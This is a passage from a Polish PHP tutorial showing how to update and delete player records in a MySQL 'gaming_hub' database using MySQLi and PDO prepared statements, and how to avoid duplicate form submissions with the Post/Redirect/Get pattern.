                <option value="Platinum" <?= $gracz['rank_name'] == 'Platinum' ? 'selected' : '' ?>>Platinum</option>
                <option value="Diamond" <?= $gracz['rank_name'] == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
                <option value="Master" <?= $gracz['rank_name'] == 'Master' ? 'selected' : '' ?>>Master</option>
                <option value="Grandmaster" <?= $gracz['rank_name'] == 'Grandmaster' ? 'selected' : '' ?>>Grandmaster</option>
            </select>
        </div>
        
        <button type="submit">Zapisz zmiany</button>
    </form>
    
    <a href="profil.php?id=<?= $player_id ?>" class="back-link">← Powrót do profilu</a>
</div>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $errors = [];
    $success = false;
    $gracz = null;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET['id'] ?? 0);
    
    if ($player_id <= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia w formularzu
    $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
    $stmt->execute(['id' => $player_id]);
    $gracz = $stmt->fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        // Pobieramy dane z formularza
        $email = trim($_POST['email'] ?? '');
        $level = (int)($_POST['level'] ?? 1);
        $coins = (int)($_POST['coins'] ?? 0);
        $rank_name = $_POST['rank_name'] ?? 'Bronze';
        
        // Walidacja danych
        if (empty($email)) {
            $errors[] = "Email jest wymagany";
        } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $errors[] = "Nieprawidłowy format email";
        }
        
        if ($level < 1 || $level > 100) {
            $errors[] = "Poziom musi być między 1 a 100";
        }
        
        if ($coins < 0) {
            $errors[] = "Coins nie może być ujemny";
        }
        
        $allowed_ranks = ['Bronze', 'Silver', 'Gold', 'Platinum', 'Diamond', 'Master', 'Grandmaster'];
        if (!in_array($rank_name, $allowed_ranks)) {
            $errors[] = "Nieprawidłowa ranga";
        }
        
        // Sprawdzamy czy email nie jest już używany przez innego gracza
        if (empty($errors)) {
            $stmt = $pdo->prepare("SELECT id FROM players WHERE email = :email AND id != :id");
            $stmt->execute(['email' => $email, 'id' => $player_id]);
            
            if ($stmt->fetch()) {
                $errors[] = "Email '{$email}' jest już używany przez innego gracza";
            }
        }
        
        // Jeśli brak błędów - aktualizujemy dane
        if (empty($errors)) {
            // BEZPIECZNE - UPDATE z prepared statement
            $stmt = $pdo->prepare("UPDATE players SET email = :email, level = :level, coins = :coins, rank_name = :rank_name, updated_at = NOW() WHERE id = :id");
            
            if ($stmt->execute([
                'email' => $email,
                'level' => $level,
                'coins' => $coins,
                'rank_name' => $rank_name,
                'id' => $player_id
            ])) {
                // Sprawdzamy ile wierszy zostało zaktualizowanych
                $affected_rows = $stmt->rowCount();
                
                if ($affected_rows > 0) {
                    $success = true;
                    $success_message = "Profil gracza '{$gracz['username']}' został zaktualizowany! (Zmieniono {$affected_rows} rekord)";
                    
                    // Odświeżamy dane gracza
                    $stmt_refresh = $pdo->prepare("SELECT * FROM players WHERE id = :id");
                    $stmt_refresh->execute(['id' => $player_id]);
                    $gracz = $stmt_refresh->fetch();
                } else {
                    $success_message = "Nie wprowadzono żadnych zmian (dane są identyczne)";
                }
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Edycja profilu - <?= htmlspecialchars($gracz['username']) ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
        }
        h1 {
            margin-bottom: 10px;
            color: #333;
        }
        .subtitle {
            color: #666;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input, select {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus, select:focus {
            outline: none;
            border-color: #667eea;
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            transition: background 0.3s;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
        }
        .info-box {
            background: #e7f3ff;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #2196F3;
        }
        .back-link {
            display: inline-block;
            margin-top: 20px;
            color: #667eea;
            text-decoration: none;
        }
        .back-link:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>

<div class="container">
    <h1>Edycja profilu gracza</h1>
    <div class="subtitle">ID: <?= $gracz['id'] ?> | Nick: <strong><?= htmlspecialchars($gracz['username']) ?></strong></div>
    
    <?php if ($success): ?>
        <div class="success">
            <?= htmlspecialchars($success_message) ?>
        </div>
    <?php endif; ?>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <strong>Błędy walidacji:</strong>
            <ul>
                <?php foreach ($errors as $error): ?>
                    <li><?= htmlspecialchars($error) ?></li>
                <?php endforeach; ?>
            </ul>
        </div>
    <?php endif; ?>
    
    <div class="info-box">
        <strong>Informacje:</strong><br>
        • Nick gracza nie może być edytowany (to unikalna nazwa)<br>
        • Hasło można zmienić w osobnej sekcji zabezpieczeń<br>
        • Data rejestracji: <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?>
    </div>
    
    <form method="POST">
        <div class="form-group">
            <label>Email:</label>
            <input type="email" name="email" 
                   value="<?= htmlspecialchars($gracz['email']) ?>" 
                   required>
        </div>
        
        <div class="form-row">
            <div class="form-group">
                <label>Poziom (1-100):</label>
                <input type="number" name="level" 
                       min="1" max="100"
                       value="<?= $gracz['level'] ?>" 
                       required>
            </div>
            
            <div class="form-group">
                <label>Coins:</label>
                <input type="number" name="coins" 
                       min="0"
                       value="<?= $gracz['coins'] ?>" 
                       required>
            </div>
        </div>
        
        <div class="form-group">
            <label>Ranga:</label>
            <select name="rank_name" required>
                <option value="Bronze" <?= $gracz['rank_name'] == 'Bronze' ? 'selected' : '' ?>>Bronze</option>
                <option value="Silver" <?= $gracz['rank_name'] == 'Silver' ? 'selected' : '' ?>>Silver</option>
                <option value="Gold" <?= $gracz['rank_name'] == 'Gold' ? 'selected' : '' ?>>Gold</option>
                <option value="Platinum" <?= $gracz['rank_name'] == 'Platinum' ? 'selected' : '' ?>>Platinum</option>
                <option value="Diamond" <?= $gracz['rank_name'] == 'Diamond' ? 'selected' : '' ?>>Diamond</option>
                <option value="Master" <?= $gracz['rank_name'] == 'Master' ? 'selected' : '' ?>>Master</option>
                <option value="Grandmaster" <?= $gracz['rank_name'] == 'Grandmaster' ? 'selected' : '' ?>>Grandmaster</option>
            </select>
        </div>
        
        <button type="submit">Zapisz zmiany</button>
    </form>
    
    <a href="profil.php?id=<?= $player_id ?>" class="back-link">← Powrót do profilu</a>
</div>

</body>
</html>

Sprawdzanie wyniku operacji UPDATE

Metody sprawdzania dla MySQLi:

// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt->affected_rows;  // Obiektowo

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
} else {
    echo "Błąd: {$stmt->error}";
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $db->prepare("SELECT id FROM players WHERE id = ?");
$stmt_check->bind_param("i", $player_id);
$stmt_check->execute();
$stmt_check->store_result();

if ($stmt_check->num_rows == 0) {
    echo "Rekord o tym ID nie istnieje";
}

Metody sprawdzania dla PDO:

// 1. Sprawdź ile wierszy zostało zaktualizowanych
$affected_rows = $stmt->rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Zaktualizowano {$affected_rows} rekord(ów)";
    } else {
        echo "Nie wprowadzono zmian (dane są identyczne)";
    }
}

// 3. Sprawdź czy rekord istnieje przed UPDATE
$stmt_check = $pdo->prepare("SELECT id FROM players WHERE id = :id");
$stmt_check->execute(['id' => $player_id]);

if (!$stmt_check->fetch()) {
    echo "Rekord o tym ID nie istnieje";
}

Przykład 4: Aktualizacja wielu graczy naraz (batch UPDATE)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Przykład: Dodaj 100 coins wszystkim graczom Bronze
$rank = 'Bronze';
$bonus_coins = 100;

$stmt = $db->prepare("UPDATE players SET coins = coins + ? WHERE rank_name = ?");
$stmt->bind_param("is", $bonus_coins, $rank);

if ($stmt->execute()) {
    $affected_rows = $stmt->affected_rows;
    
    if ($affected_rows > 0) {
        echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
    } else {
        echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
    }
} else {
    echo "Błąd: {$stmt->error}";
}

$stmt->close();
$db->close();
?>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    // Przykład: Dodaj 100 coins wszystkim graczom Bronze
    $rank = 'Bronze';
    $bonus_coins = 100;
    
    $stmt = $pdo->prepare("UPDATE players SET coins = coins + :bonus WHERE rank_name = :rank");
    
    if ($stmt->execute(['bonus' => $bonus_coins, 'rank' => $rank])) {
        $affected_rows = $stmt->rowCount();
        
        if ($affected_rows > 0) {
            echo "Sukces! Dodano {$bonus_coins} coins dla {$affected_rows} graczy rangi {$rank}";
        } else {
            echo "Nie znaleziono graczy rangi {$rank} lub już mieli te coins";
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    die('Błąd bazy danych');
}

$pdo = null;
?>

DELETE – Usuwanie rekordów

Przykład 5: Usuwanie gracza z potwierdzeniem (GET + POST)

MySQLi obiektowo:

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

$gracz = null;
$deleted = false;

// Pobieramy ID gracza z URL
$player_id = (int)($_GET['id'] ?? 0);

if ($player_id <= 0) {
    die('Nieprawidłowe ID gracza');
}

// Pobieramy dane gracza do wyświetlenia
$stmt = $db->prepare("SELECT * FROM players WHERE id = ?");
$stmt->bind_param("i", $player_id);
$stmt->execute();
$wynik = $stmt->get_result();
$gracz = $wynik->fetch_assoc();
$stmt->close();

if (!$gracz) {
    die('Nie znaleziono gracza o ID: ' . $player_id);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm_delete'])) {
    
    // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
    // if ($_POST['token'] !== $_SESSION['token']) die('Invalid token');

    $stmt = $db->prepare("DELETE FROM players WHERE id = ?");
    $stmt->bind_param("i", $player_id);
    
    if ($stmt->execute()) {
        // Sprawdzamy ile wierszy zostało usuniętych
        $affected_rows = $stmt->affected_rows;
        
        if ($affected_rows > 0) {
            $deleted = true;
            $username = $gracz['username'];
            $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
        } else {
            $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
        }
    } else {
        $error_message = "Błąd podczas usuwania: {$stmt->error}";
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Usuń gracza - <?= htmlspecialchars($gracz['username'] ?? 'Usunięty') ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    </style>
</head>
<body>

<div class="container">
    <?php if ($deleted): ?>
        <div class="success">
            <h2>Gracz został usunięty</h2>
            <p><?= htmlspecialchars($success_message) ?></p>
            <br>
            <a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy</a>
        </div>
    <?php else: ?>
        <h1>Usuń gracza</h1>
        
        <?php if (isset($error_message)): ?>
            <div class="error">
                <?= htmlspecialchars($error_message) ?>
            </div>
        <?php endif; ?>
        
        <div class="warning">
            <strong>OSTRZEŻENIE:</strong><br>
            Ta operacja jest <strong>nieodwracalna</strong>! Gracz i wszystkie jego dane zostaną <strong>permanentnie usunięte</strong> z bazy danych.
        </div>
        
        <div class="player-info">
            <h3>Dane gracza do usunięcia:</h3>
            <p><strong>ID:</strong> <?= $gracz['id'] ?></p>
            <p><strong>Username:</strong> <?= htmlspecialchars($gracz['username']) ?></p>
            <p><strong>Email:</strong> <?= htmlspecialchars($gracz['email']) ?></p>
            <p><strong>Level:</strong> <?= $gracz['level'] ?></p>
            <p><strong>Rank:</strong> <?= $gracz['rank_name'] ?></p>
            <p><strong>Coins:</strong> <?= number_format($gracz['coins']) ?></p>
            <p><strong>Rozegrane gry:</strong> <?= $gracz['games_played'] ?></p>
            <p><strong>Data rejestracji:</strong> <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?></p>
        </div>
        
        <form method="POST">
            <div class="checkbox-confirm">
                <input type="checkbox" id="confirm" name="confirm_check" required>
                <label for="confirm">Potwierdzam, że chcę <strong>permanentnie usunąć</strong> tego gracza</label>
            </div>
            
            <div class="buttons">
                <a href="profil.php?id=<?= $player_id ?>" class="button btn-cancel">Anuluj</a>
                <button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                </button>
            </div>
        </form>
    <?php endif; ?>
</div>

</body>
</html>

PDO:

<?php
try {
    $pdo = new PDO(
        'mysql:host=localhost;dbname=gaming_hub;charset=utf8mb4',
        'root',
        '',
        [
            PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
            PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
            PDO::ATTR_EMULATE_PREPARES => false
        ]
    );
    
    $gracz = null;
    $deleted = false;
    
    // Pobieramy ID gracza z URL
    $player_id = (int)($_GET['id'] ?? 0);
    
    if ($player_id <= 0) {
        die('Nieprawidłowe ID gracza');
    }
    
    // Pobieramy dane gracza do wyświetlenia
    $stmt = $pdo->prepare("SELECT * FROM players WHERE id = :id");
    $stmt->execute(['id' => $player_id]);
    $gracz = $stmt->fetch();
    
    if (!$gracz) {
        die('Nie znaleziono gracza o ID: ' . $player_id);
    }
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['confirm_delete'])) {
        
        // Dodatkowe zabezpieczenie - sprawdzamy token CSRF (opcjonalnie)
        // if ($_POST['token'] !== $_SESSION['token']) die('Invalid token');
        
        // BEZPIECZNE - DELETE z prepared statement
        $stmt = $pdo->prepare("DELETE FROM players WHERE id = :id");
        
        if ($stmt->execute(['id' => $player_id])) {
            // Sprawdzamy ile wierszy zostało usuniętych
            $affected_rows = $stmt->rowCount();
            
            if ($affected_rows > 0) {
                $deleted = true;
                $username = $gracz['username'];
                $success_message = "Gracz '{$username}' (ID: {$player_id}) został permanentnie usunięty z bazy danych.";
            } else {
                $error_message = "Rekord nie został usunięty (możliwe że już nie istnieje)";
            }
        }
    }
    
} catch (PDOException $e) {
    error_log("DB Error: {$e->getMessage()}");
    $error_message = "Wystąpił błąd podczas usuwania gracza";
}

$pdo = null;
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Usuń gracza - <?= htmlspecialchars($gracz['username'] ?? 'Usunięty') ?></title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #ff6b6b 0%, #ee5a6f 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.3);
            max-width: 600px;
            width: 100%;
        }
        h1 {
            color: #d32f2f;
            margin-bottom: 20px;
            text-align: center;
        }
        .warning {
            background: #fff3cd;
            border-left: 4px solid #ffc107;
            padding: 20px;
            margin-bottom: 20px;
            border-radius: 5px;
        }
        .player-info {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
        }
        .player-info h3 {
            margin-bottom: 15px;
            color: #333;
        }
        .player-info p {
            margin: 8px 0;
            color: #666;
        }
        .buttons {
            display: flex;
            gap: 10px;
            margin-top: 30px;
        }
        button, .button {
            flex: 1;
            padding: 15px;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
            text-align: center;
            text-decoration: none;
            display: inline-block;
        }
        .btn-delete {
            background: #d32f2f;
            color: white;
        }
        .btn-delete:hover {
            background: #b71c1c;
        }
        .btn-cancel {
            background: #6c757d;
            color: white;
        }
        .btn-cancel:hover {
            background: #5a6268;
        }
        .success {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #c3e6cb;
            text-align: center;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .checkbox-confirm {
            margin: 20px 0;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-confirm input {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-confirm label {
            cursor: pointer;
            user-select: none;
        }
    </style>
</head>
<body>

<div class="container">
    <?php if ($deleted): ?>
        <div class="success">
            <h2>Gracz został usunięty</h2>
            <p><?= htmlspecialchars($success_message) ?></p>
            <br>
            <a href="lista_graczy.php" class="button btn-cancel">← Powrót do listy graczy</a>
        </div>
    <?php else: ?>
        <h1>Usuń gracza</h1>
        
        <?php if (isset($error_message)): ?>
            <div class="error">
                <?= htmlspecialchars($error_message) ?>
            </div>
        <?php endif; ?>
        
        <div class="warning">
            <strong>OSTRZEŻENIE:</strong><br>
            Ta operacja jest <strong>nieodwracalna</strong>! Gracz i wszystkie jego dane zostaną <strong>permanentnie usunięte</strong> z bazy danych.
        </div>
        
        <div class="player-info">
            <h3>Dane gracza do usunięcia:</h3>
            <p><strong>ID:</strong> <?= $gracz['id'] ?></p>
            <p><strong>Username:</strong> <?= htmlspecialchars($gracz['username']) ?></p>
            <p><strong>Email:</strong> <?= htmlspecialchars($gracz['email']) ?></p>
            <p><strong>Level:</strong> <?= $gracz['level'] ?></p>
            <p><strong>Rank:</strong> <?= $gracz['rank_name'] ?></p>
            <p><strong>Coins:</strong> <?= number_format($gracz['coins']) ?></p>
            <p><strong>Rozegrane gry:</strong> <?= $gracz['games_played'] ?></p>
            <p><strong>Data rejestracji:</strong> <?= date('d.m.Y H:i', strtotime($gracz['created_at'])) ?></p>
        </div>
        
        <form method="POST">
            <div class="checkbox-confirm">
                <input type="checkbox" id="confirm" name="confirm_check" required>
                <label for="confirm">Potwierdzam, że chcę <strong>permanentnie usunąć</strong> tego gracza</label>
            </div>
            
            <div class="buttons">
                <a href="profil.php?id=<?= $player_id ?>" class="button btn-cancel">Anuluj</a>
                <button type="submit" name="confirm_delete" class="btn-delete" onclick="return confirm('Czy NA PEWNO chcesz usunąć tego gracza? Ta operacja jest NIEODWRACALNA!')">
                    Usuń gracza
                </button>
            </div>
        </form>
    <?php endif; ?>
</div>

</body>
</html>

Sprawdzanie wyniku operacji DELETE

Metody sprawdzania dla MySQLi:

// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt->affected_rows;

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
} else {
    echo "Błąd: {$stmt->error}";
}

Metody sprawdzania dla PDO:

// 1. Sprawdź ile wierszy zostało usuniętych
$affected_rows = $stmt->rowCount();

// 2. Sprawdź czy zapytanie się wykonało
if ($stmt->execute()) {
    if ($affected_rows > 0) {
        echo "Usunięto {$affected_rows} rekord(ów)";
    } else {
        echo "Nie usunięto żadnego rekordu (możliwe że nie istniał)";
    }
}

PHP – Zabezpieczenie przed duplikatami po odświeżeniu strony (F5)

Problem: Ponowne wysłanie formularza

Co się dzieje gdy użytkownik naciśnie F5?

1. Użytkownik wypełnia formularz rejestracji
2. Klika "Wyślij" (POST)
3. Dane zostają zapisane w bazie
4. Strona wyświetla "Sukces!"
5. Użytkownik naciska F5 (odświeżenie)
6. Przeglądarka pyta: "Czy ponownie wysłać formularz?"
7. Jeśli użytkownik kliknie "Tak" → próba dodania tego samego gracza ponownie!

Konsekwencje:

• Duplikaty w bazie danych
• Błędy (jeśli są ograniczenia UNIQUE)
• Złe doświadczenie użytkownika
• Problemy z logowaniem transakcji

Rozwiązanie: Post/Redirect/Get (PRG Pattern)

Po wykonaniu operacji należy dodać kod

// PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: nazwa_strony.php?<dalej możemy przekazać dane w GET>;
        exit; // ZAWSZE exit po header!

Przykład 1: Podstawowe przekierowanie

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    
    // Walidacja...
    
    $stmt = $db->prepare("INSERT INTO players (username, email, created_at) VALUES (?, ?, NOW())");
    $stmt->bind_param("ss", $username, $email);
    
    if ($stmt->execute()) {
        $new_player_id = $stmt->insert_id;
        
        $stmt->close();
        $db->close();
        
        // PRZEKIEROWANIE - zapobiega duplikatom
        header("Location: profil.php?id={$new_player_id}");
        exit; // ZAWSZE exit po header!
    }
    
    $stmt->close();
}

$db->close();
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja</title>
</head>
<body>

<form method="POST">
    <input type="text" name="username" required>
    <input type="email" name="email" required>
    <button type="submit">Zarejestruj</button>
</form>

</body>
</html>

Przykład 2: Przekazywanie informacji przez URL (GET)

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $level = (int)($_POST['level'] ?? 1);
    
    // Walidacja...
    
    $stmt = $db->prepare("INSERT INTO players (username, email, level, created_at) VALUES (?, ?, ?, NOW())");
    $stmt->bind_param("ssi", $username, $email, $level);
    
    if ($stmt->execute()) {
        $new_player_id = $stmt->insert_id;
        $affected_rows = $stmt->affected_rows;
        
        $stmt->close();
        $db->close();
        
        // Przekazanie wielu informacji przez URL
        header("Location: sukces.php?id={$new_player_id}&username=" . urlencode($username) . "&affected={$affected_rows}&action=register");
        exit;
    }
    
    $stmt->close();
}

$db->close();
?>

Plik: sukces.php

<?php
// Odbieramy dane z URL
$new_player_id = (int)($_GET['id'] ?? 0);
$username = htmlspecialchars($_GET['username'] ?? 'Nieznany');
$affected_rows = (int)($_GET['affected'] ?? 0);
$action = htmlspecialchars($_GET['action'] ?? '');

if ($new_player_id <= 0) {
    die('Nieprawidłowe ID');
}
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja zakończona</title>
    <style>
        .success-box {
            background: #d4edda;
            color: #155724;
            padding: 20px;
            border-radius: 5px;
            border-left: 4px solid #c3e6cb;
            margin: 20px;
        }
        .info {
            background: #d1ecf1;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin: 20px;
        }
    </style>
</head>
<body>

<div class="success-box">
    <h2>Rejestracja zakończona sukcesem!</h2>
    <p>Witaj, <strong><?= $username ?></strong>!</p>
</div>

<div class="info">
    <strong>Szczegóły operacji:</strong><br>
    ID nowego gracza: <strong><?= $new_player_id ?></strong><br>
    Liczba dodanych rekordów: <strong><?= $affected_rows ?></strong><br>
    Typ operacji: <strong><?= $action ?></strong><br>
    <br>
    <a href="profil.php?id=<?= $new_player_id ?>">Zobacz profil</a> |
    <a href="lista_graczy.php">Lista graczy</a>
</div>

</body>
</html>

Zalety:

• Proste
• Nie wymaga sesji
• Działa zawsze

Wady:

• Dane widoczne w URL
• Ograniczona ilość danych (max ~2000 znaków)
• Nie nadaje się dla wrażliwych informacji

Przykład 3: Przekazywanie informacji przez SESJĘ

Kiedy używać:

• Komunikaty sukcesu/błędu
• Więcej danych
• Dane wrażliwe
• Profesjonalne projekty

<?php
session_start(); // ZAWSZE na początku pliku!

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');
$db->set_charset('utf8mb4');

$errors = [];

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = trim($_POST['username'] ?? '');
    $email = trim($_POST['email'] ?? '');
    $password = $_POST['password'] ?? '';
    
    // Walidacja danych
    if (empty($username)) {
        $errors[] = "Nick jest wymagany";
    } elseif (strlen($username) < 3) {
        $errors[] = "Nick musi mieć minimum 3 znaki";
    }
    
    if (empty($email)) {
        $errors[] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors[] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors[] = "Hasło jest wymagane";
    } elseif (strlen($password) < 8) {
        $errors[] = "Hasło musi mieć minimum 8 znaków";
    }
    
    // Sprawdzamy czy username już istnieje
    if (empty($errors)) {
        $stmt = $db->prepare("SELECT id FROM players WHERE username = ?");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        
        if ($stmt->num_rows > 0) {
            $errors[] = "Nick '{$username}' jest już zajęty";
        }
        $stmt->close();
    }
    
    // Jeśli brak błędów - dodajemy gracza
    if (empty($errors)) {
        $password_hash = password_hash($password, PASSWORD_DEFAULT);
        
        $stmt = $db->prepare("INSERT INTO players (username, email, password, created_at) VALUES (?, ?, ?, NOW())");
